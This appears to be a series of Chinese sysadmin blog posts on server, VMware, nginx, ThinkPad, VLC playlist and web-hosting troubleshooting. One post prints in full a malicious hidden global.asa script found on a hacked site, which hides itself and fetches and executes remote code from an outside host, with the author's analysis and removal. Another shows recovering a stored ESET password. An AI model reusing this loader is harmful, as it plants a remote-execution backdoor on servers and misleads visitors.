于是把机器拆了，发现原来是风扇坏了一个（双CPU），手一摸散热片，滚烫的。

去借了一个风扇，开p2v操作，结果还是死机。在过去机房看了一下，发现这次是另一个风扇开始抽风：一会转一会停。

于是又借了一个风扇，目前看来总算稳定了…鲁大师监控CPU温度40度左右，手摸散热片也没有烫的感觉。

看看这次能否p2v成功。

折腾。

基本怀疑是网站被挂马，但是找了半天源代码都没有任何提示，用ultraedit32搜索baidu，以及搜索那个挂马网站都没有结果，最后突然发现根目录有个隐藏的系统文件global.asa，打开一看，内容如下：

<script language="vbscript" runat="server">

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'by*diao
'by*aming
sub Session_OnStart

'=================================================================
dim name
name=request.servervariables("Path_Translated")
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))
Dim v
Dim t
ReDim A(Request.Form.Count)
ReDim B(Request.Form.Count)
v=Request.Form
t=Request.Form.Count
if t>0 then
For i=0 To t-1
b(i)=Split(Split(v,"&")(i),"=")(1)
if instr(LCase(b(i)),"global.asa")>0 then
f.Attributes=1+2+4
response.end()
end if
Next
end If
'=================================================================
allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot",",")
DC=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
    If instr(user_agent,allow_agent(agenti))>0 then
       DC=true
       exit for
    end if
Next
CF=False
Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
    If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then
    CF = True
    Exit For
    End If
Next

if (DC=false and CF=True and request.servervariables("QUERY_STRING")<>"") Or(instr(request.servervariables("HTTP_USER_AGENT"),"aidu")>0) then
'==========================================================

 

    url="http://jk.3jkk.com/api2.txt"
    Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
    ObjXMLHTTP.Open "GET",url,False
    ObjXMLHTTP.setRequestHeader "User-Agent",url
    ObjXMLHTTP.send
    GetHtml=ObjXMLHTTP.responseBody
    Set ObjXMLHTTP=Nothing
    set objStream = Server.CreateObject("Adodb.Stream")
    objStream.Type = 1
    objStream.Mode =3
    objStream.Open
    objStream.Write GetHtml
    objStream.Position = 0
    objStream.Type = 2
    objStream.Charset = "gb2312"
    GetHtml = objStream.ReadText
    objStream.Close
    if instr(GetHtml,"by*aming")>0 then
        execute GetHtml
    end If

elseif instr(name,";")>0 then
set m=fso.Getfile(name)
m.Attributes=0
fso.DeleteFile(name)
f.Attributes=1+2+4
response.end()
elseif instr(request.servervariables("QUERY_STRING"),".asa")>0  then
f.Attributes=1+2+4
response.end()
End If
   
f.Attributes=1+2+4
end sub

</script>

 

基本就是这个了，用户也说没有用到global.asa，于是删除，网站正常。

1. 总结，由于global.asa是隐藏的，所以默认ue32没有搜索到。
2. 这个网页有点高端，他发现你从Baidu/sogou/google什么的过来就给你跳转到色情网站，通过HTTP_REFERER来判断的。但是发现实际过程中google并没有生效，不知道为什么。
3. 色情网站的网址保存在3jkk.com/api2.txt里面，所以直接搜索也搜索不到。
4. 另外，global.asa注意开头空了很多行，估计用来忽悠人的，不仔细就不往下看了
5. 高端！

本来以为很复杂，在网上找了个帖子，是lenovo论坛的，介绍拆了七八个螺丝，基本是把背面的所有螺丝都拆了。结果我拆下来发现还是没法拆键盘。

于是到thinkpad官网找资料，中文网找了半天无果，结果到英文网，3min找到一篇文章：http://download.lenovo.com/ibmdl/pub/pc/pccbbs/mobiles_pdf/0a60007_04.pdf，很详细的告诉你怎么装内存，装内存之前需要拆那些东西都告诉你了。

中文官网咋就这么悲催呢~

但是诸如lpt1.help.asp以及com4.help.asp这些文件就不好弄了。

baidu一下，果然是因为lpt,com这些都是系统设备名字的原因，这些文件还有RHSA属性，如图：

先去除属性：

E:\iisroot\admin>attrib -r -h -s -a \\.\e:\iisroot\admin\lpt1.help.asp

然后删除掉：

E:\iisroot\admin>del \\.\e:\iisroot\admin\lpt1.help.asp

意思就是使用UNC路径，类似网上邻居的格式。

参考：

http://www.renxinwu.com/blog/html/155/

由于想克隆以下这台机器，但是独立磁盘不支持，所以想把独立去掉。

于是找了半天google，无果，想用convert，但是太慢，停机太长。后来关掉虚拟机之后发现，居然那个独立的勾可以去掉....

于是去掉，确定，克隆之。这时候又提示又快照无法操作，于是把快照了。启动。问题来了。

Vsphere提示

打开虚拟机 vm-72 的电源时，从 ESX 主机接收到意外错误。 原因: 系统找不到指定的文件。 无法打开磁盘“vh-000001.vmdk”或其所依赖的快照磁盘之一。
VMware ESX 找不到虚拟磁盘“vh-000001.vmdk”。请确认路径有效并重试。
无法打开磁盘“vh-000001.vmdk”或其所依赖的快照磁盘之一。

于是我晕了...

折腾半天，小紧张了一下，最后的解决方法是：

1. 删掉第一块磁盘，第二块磁盘不动。记得别把vmdk也删了。选择从虚拟机移除。
2. 启动虚拟机，c盘由于不在，自然启动不了系统。
3. 此时关掉虚机，再次添加磁盘，选择从已存在的磁盘选择，然后选中刚才那个vmdk文件。
4. 启动，一切ok。

其实，俺还不是很明白为什么...看来得去考个vcp。哈哈

ps，网上很多文章说是因为lck文件存在的问题。但是估计说的是workstation。vsphere里面我并没有找到lck文件。

我感觉这个现象应该是快照删除的时候出错了。但是具体为什么，还不确定。

第一个server{}内，如果是

server {
    listen       a.nau.edu.cn:80;
}

的话，那么不管后面的server{}里面怎么写，都是指向a.nau.edu.cn根目录。

如果改成

server {
listen :80;
}

就没有问题。不知道为什么…

悲剧的微软，悲剧的mms

http://support.microsoft.com/kb/934371

http://bbs.qianqian.com/viewthread.php?tid=418908

虽然写了一个值到

HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Plugins\01000400\Profiles\@My profile

password部分却很恶心的进行了加密。

这时候只要装个俄国老写的那个nod32updateviewer，里面有个小钥匙图标，可以get password from eset。

然后设置里面，选中show password，就可以看到密码了。

补充一下：虽然eset的设置界面里面可以看到id，但是密码是星号。win7下我试了星号查看器，似乎无效~

最简单的格式

<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/">
    <trackList>
        <track><location>file:///mp3s/song_1.mp3</location></track>
        <track><location>file:///mp3s/song_2.mp3</location></track>
        <track><location>file:///mp3s/song_3.mp3</location></track>
    </trackList>
</playlist>

vlc特殊定义

当然，vlc也支持一些特殊格式，据说在http://www.videolan.org/vlc/playlist/ns/0/定义了，可惜404了？

<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
...
<extension application="http://www.videolan.org/vlc/playlist/0">
  ...
</extension>
</playlist>

支持4种定义：

1. vlc:node
2. vlc:item
3. vlc:id
4. vlc:option

1/2用于定义如何显示播放列表的树，不被标准xspf支持。

1、vlc:node

在列表中显示为一个节点-node。可以嵌套。能定义的只有title。

"<vlc:node title="中央台"><vlc:node title="CCTV-1"><vlc:item tid="1001"/>
</vlc:node></vlc:node><

2、vlc:item

这就是内容了

<vlc:item tid="42" />

3、vlc:id

track的扩展

<vlc:id>42</vlc:id>

4、vlc:option

playlist/trackList/track/extension下

<vlc:option>option-name</vlc:option>

option可以有参数

<vlc:option>option-name=option-value</vlc:option>

注意编辑的时候，因为一开始指定了编码是utf-8，所以保存的时候也要utf8，否则中文是不能识别的。

参考：

http://wiki.videolan.org/XSPF

但是，你这玩意既然做了，就不能做好一点吗！！

只支持ie，就算了。

证书你就不能花点钱买个verisign的？哪怕买最便宜的rapidssl也好啊，非要自己证书，非要用户手动导入一遍。

https你就不能把所有页面都Https啊？不停的有提示说不安全的内容，internet选项是可以改，可不是每个人都知道这个的，你能想象一个商业电子商务网站出现这种情况吗？那肯定用户再也不会伤上这个网站了！

实在麻烦！